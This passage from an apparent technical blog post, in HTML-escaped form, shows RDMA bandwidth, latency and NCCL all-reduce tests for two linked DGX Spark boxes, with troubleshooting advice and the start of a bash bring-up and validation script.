&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;~109 Gbps on one rail.&lt;/strong&gt; Healthy — right at the per-rail PCIe Gen5 x4 limit. &lt;strong&gt;The trap:&lt;/strong&gt; plenty of units ship pinned at ~13–16 Gbps despite negotiating a 200G link. The fix is a ConnectX-7 firmware update &lt;em&gt;plus a full physical NIC power-drain&lt;/em&gt; (not just a reboot). If &lt;code&gt;ib_write_bw&lt;/code&gt; isn&amp;rsquo;t ~100 Gbps/rail, every number you take afterward is measured on a crippled link — always run this &lt;em&gt;first&lt;/em&gt;.&lt;/p&gt;
&lt;h3 id="latency--ib_write_lat-the-fabric-floor"&gt;Latency — &lt;code&gt;ib_write_lat&lt;/code&gt; (the fabric floor)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ib_write_lat -d rocep1s0f0 -i &lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; -F &lt;span style="color:#8b949e;font-style:italic"&gt;# server (box A)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ib_write_lat -d rocep1s0f0 -i &lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; -F 10.0.0.1 &lt;span style="color:#8b949e;font-style:italic"&gt;# client (box B)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;pre tabindex="0"&gt;&lt;code&gt; #bytes #iter t_min[usec] t_max[usec] t_typical[usec] t_avg[usec]
2 1000 1.41 1.66 1.45 1.44
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;~1.45 µs&lt;/strong&gt; for a 2-byte RDMA write — the hardware floor. Everything above this is software: collective library overhead, the proxy thread, the GPU↔NIC handoff.&lt;/p&gt;
&lt;h3 id="the-real-one--a-nccl-all-reduce-over-roce-catches-the-tcp-fallback"&gt;The real one — a NCCL all-reduce over RoCE (catches the TCP fallback)&lt;/h3&gt;
&lt;p&gt;This is the test that matters, and the one most likely to lie to you. Build &lt;a href="https://github.com/NVIDIA/nccl-tests"&gt;nccl-tests&lt;/a&gt;, then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mpirun -np &lt;span style="color:#a5d6ff"&gt;2&lt;/span&gt; -H 10.0.0.1,10.0.0.2 &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --mca oob_tcp_if_include 10.0.0.0/30 --mca btl_tcp_if_include 10.0.0.0/30 &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -x &lt;span style="color:#79c0ff"&gt;NCCL_NET_PLUGIN&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;none -x &lt;span style="color:#79c0ff"&gt;NCCL_IB_MERGE_NICS&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -x &lt;span style="color:#79c0ff"&gt;NCCL_IB_HCA&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;rocep1s0f0,rocep1s0f0 -x &lt;span style="color:#79c0ff"&gt;NCCL_SOCKET_IFNAME&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;enp1s0f0np0,enp1s0f0np0 &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -x &lt;span style="color:#79c0ff"&gt;NCCL_DEBUG&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;INFO &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ./build/all_reduce_perf -b &lt;span style="color:#a5d6ff"&gt;8&lt;/span&gt; -e 128M -f &lt;span style="color:#a5d6ff"&gt;2&lt;/span&gt; -g &lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;pre tabindex="0"&gt;&lt;code&gt; size in-place time(us) busbw(GB/s) #wrong
8 23.91 0.00 0
4096 27.07 0.15 0
16384 29.54 0.55 0
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;~24–30 µs for small messages, &lt;code&gt;#wrong 0&lt;/code&gt;, and — confirm this in the log — &lt;code&gt;NET/IB&lt;/code&gt;, not &lt;code&gt;NET/Socket&lt;/code&gt;.&lt;/strong&gt; Three traps are bundled here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Silent TCP fallback.&lt;/strong&gt; The default NCCL stack will happily run your &amp;ldquo;RoCE&amp;rdquo; benchmark over plain sockets and report a busbw of ~1–3 GB/s, and you&amp;rsquo;ll think &lt;em&gt;that&amp;rsquo;s&lt;/em&gt; the number. Force the native path with &lt;code&gt;NCCL_NET_PLUGIN=none&lt;/code&gt; + &lt;code&gt;NCCL_IB_MERGE_NICS=1&lt;/code&gt;, then &lt;strong&gt;read the debug log&lt;/strong&gt; to confirm &lt;code&gt;NET/IB&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OpenMPI picking the wrong network.&lt;/strong&gt; Both boxes typically have a &lt;code&gt;docker0&lt;/code&gt; bridge on the same &lt;code&gt;172.17.x&lt;/code&gt; subnet plus Wi-Fi; OpenMPI&amp;rsquo;s out-of-band layer sees the overlapping subnet, decides the peers are directly reachable, and faceplants with &lt;code&gt;cannot find a corresponding process entry for that peer&lt;/code&gt;. Pin it to the link with the two &lt;code&gt;--mca ... _if_include 10.0.0.0/30&lt;/code&gt; flags.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The per-rank device-name asymmetry.&lt;/strong&gt; Because the live device can be named differently on each box, pass &lt;em&gt;both&lt;/em&gt; names to &lt;code&gt;NCCL_IB_HCA&lt;/code&gt; and &lt;code&gt;NCCL_SOCKET_IFNAME&lt;/code&gt; and let each rank match its own.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;(One detail you&amp;rsquo;ll see in the log: &lt;code&gt;GPU Direct RDMA Disabled&lt;/code&gt;. On a GB10 the GDR story is nuanced; the all-reduce stages through host memory. It&amp;rsquo;s fine for correctness and for these latencies — just know it&amp;rsquo;s there.)&lt;/p&gt;
&lt;h2 id="the-script"&gt;The script&lt;/h2&gt;
&lt;p&gt;This wraps all of the above. It detects each box&amp;rsquo;s device/netdev/IP from sysfs (handling the f0/f1 asymmetry), installs the tooling, builds nccl-tests, runs the three validations, and prints a green/yellow/red verdict. Run it on the &lt;strong&gt;master&lt;/strong&gt; box; it drives the &lt;strong&gt;peer&lt;/strong&gt; over SSH (passwordless — &lt;code&gt;ssh-copy-id &amp;lt;peer&amp;gt;&lt;/code&gt; once). On a fresh pair the most robust flow is &lt;code&gt;--install-only&lt;/code&gt; on each box, then &lt;code&gt;--skip-install&lt;/code&gt; to validate:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# on EACH box:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./spark2_nccl_check.sh --install-only
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# then on the master:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;./spark2_nccl_check.sh 10.0.0.2 --skip-install
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Save it as &lt;code&gt;spark2_nccl_check.sh&lt;/code&gt; and &lt;code&gt;chmod +x&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-weight:bold;font-style:italic"&gt;#!/usr/bin/env bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# spark2_nccl_check.sh — bring-up + end-to-end validation for two DGX Sparks&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# wired together by the ConnectX-7 stacking cable.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# It (1) auto-detects each box&amp;#39;s RDMA device / netdev / link IP straight from&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# sysfs — handling the f0-vs-f1 PCI-enumeration asymmetry so you never have to&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# guess which device to name; (2) installs the tooling (perftest, NCCL, OpenMPI,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# and builds NVIDIA nccl-tests); and (3) validates the link:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# 1. ib_write_bw RDMA bandwidth gate: &amp;gt;= 90 Gbps/rail (healthy link)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# 2. ib_write_lat RDMA latency gate: &amp;lt;= 3 us typical&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# 3. all_reduce_perf NCCL/RoCE gate: NET/IB + #wrong 0 + &amp;lt;~60 us @16-32K&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# Run it ON THE MASTER Spark (it becomes rank 0); it drives the PEER over SSH.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# Requires passwordless SSH master -&amp;gt; peer (run: ssh-copy-id &amp;lt;peer&amp;gt; once).&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# ./spark2_nccl_check.sh &amp;lt;peer-ssh-host&amp;gt; # full: detect+install+validate&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# ./spark2_nccl_check.sh --detect-only # just print THIS box&amp;#39;s link info&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# ./spark2_nccl_check.sh --install-only # install tooling on THIS box only&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# # (robust on fresh boxes: run on&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# # each, then validate --skip-install)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# ./spark2_nccl_check.sh &amp;lt;peer&amp;gt; --skip-install # tooling already installed&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# ./spark2_nccl_check.sh &amp;lt;peer&amp;gt; --master-ip 10.0.0.1 --peer-ip 10.0.0.2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# It does NOT change IPs. If a link interface has no IPv4, it tells you the exact&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# `sudo ip addr add` to run on each box first.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;set -uo pipefail
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# ----- pretty output --------------------------------------------------------&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#79c0ff"&gt;RED&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;$&amp;#39;\033[31m&amp;#39;&lt;/span&gt;; &lt;span style="color:#79c0ff"&gt;GRN&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;$&amp;#39;\033[32m&amp;#39;&lt;/span&gt;; &lt;span style="color:#79c0ff"&gt;YLW&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;$&amp;#39;\033[33m&amp;#39;&lt;/span&gt;; &lt;span style="color:#79c0ff"&gt;BLD&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;$&amp;#39;\033[1m&amp;#39;&lt;/span&gt;; &lt;span style="color:#79c0ff"&gt;RST&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;$&amp;#39;\033[0m&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;say&lt;span style="color:#ff7b72;font-weight:bold"&gt;()&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;{&lt;/span&gt; printf &lt;span style="color:#a5d6ff"&gt;&amp;#39;%s\n&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$*&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;; &lt;span style="color:#ff7b72;font-weight:bold"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hdr&lt;span style="color:#ff7b72;font-weight:bold"&gt;()&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;{&lt;/span&gt; printf &lt;span style="color:#a5d6ff"&gt;&amp;#39;\n%s== %s ==%s\n&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$BLD&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$*&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$RST&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;; &lt;span style="color:#ff7b72;font-weight:bold"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ok&lt;span style="color:#ff7b72;font-weight:bold"&gt;()&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;{&lt;/span&gt; printf &lt;span style="color:#a5d6ff"&gt;&amp;#39; %s[ OK ]%s %s\n&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$GRN&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$RST&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$*&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;; &lt;span style="color:#ff7b72;font-weight:bold"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;warn&lt;span style="color:#ff7b72;font-weight:bold"&gt;()&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;{&lt;/span&gt; printf &lt;span style="color:#a5d6ff"&gt;&amp;#39; %s[WARN]%s %s\n&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$YLW&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$RST&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$*&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;; &lt;span style="color:#ff7b72;font-weight:bold"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bad&lt;span style="color:#ff7b72;font-weight:bold"&gt;()&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;{&lt;/span&gt; printf &lt;span style="color:#a5d6ff"&gt;&amp;#39; %s[FAIL]%s %s\n&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$RED&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$RST&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$*&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;; &lt;span style="color:#ff7b72;font-weight:bold"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;die&lt;span style="color:#ff7b72;font-weight:bold"&gt;()&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;{&lt;/span&gt; printf &lt;span style="color:#a5d6ff"&gt;&amp;#39;%s[error]%s %s\n&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$RED&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$RST&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$*&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &amp;gt;&amp;amp;2; exit 1; &lt;span style="color:#ff7b72;font-weight:bold"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#79c0ff"&gt;FAILS&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;0; &lt;span style="color:#79c0ff"&gt;WARNS&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gate_ok&lt;span style="color:#ff7b72;font-weight:bold"&gt;()&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;{&lt;/span&gt; ok &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$*&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;; &lt;span style="color:#ff7b72;font-weight:bold"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gate_warn&lt;span style="color:#ff7b72;font-weight:bold"&gt;()&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;{&lt;/span&gt; warn &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$*&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;; &lt;span style="color:#79c0ff"&gt;WARNS&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$((&lt;/span&gt;WARNS+1&lt;span style="color:#ff7b72"&gt;))&lt;/span&gt;; &lt;span style="color:#ff7b72;font-weight:bold"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gate_bad&lt;span style="color:#ff7b72;font-weight:bold"&gt;()&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;{&lt;/span&gt; bad &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$*&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;; &lt;span style="color:#79c0ff"&gt;FAILS&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$((&lt;/span&gt;FAILS+1&lt;span style="color:#ff7b72"&gt;))&lt;/span&gt;; &lt;span style="color:#ff7b72;font-weight:bold"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# ----- args -----------------------------------------------------------------&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#79c0ff"&gt;PEER&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&amp;#34;&lt;/span&gt;; &lt;span style="color:#79c0ff"&gt;DETECT_ONLY&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;0; &lt;span style="color:#79c0ff"&gt;INSTALL_ONLY&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;0; &lt;span style="color:#79c0ff"&gt;SKIP_INSTALL&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;0; &lt;span style="color:#79c0ff"&gt;MIP_OVR&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&amp;#34;&lt;/span&gt;; &lt;span style="color:#79c0ff"&gt;PIP_OVR&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;while&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; &lt;span style="color:#79c0ff"&gt;$#&lt;/span&gt; -gt &lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72"&gt;case&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$1&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --detect-only&lt;span style="color:#ff7b72;font-weight:bold"&gt;)&lt;/span&gt; &lt;span style="color:#79c0ff"&gt;DETECT_ONLY&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --install-only&lt;span style="color:#ff7b72;font-weight:bold"&gt;)&lt;/span&gt; &lt;span style="color:#79c0ff"&gt;INSTALL_ONLY&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; ;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --skip-install&lt;span style="color:#ff7b72;font-weight:bold"&gt;)&lt;/span&gt; &lt;span style="color:#79c0ff"&gt;SKIP_INSTALL&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; ;;
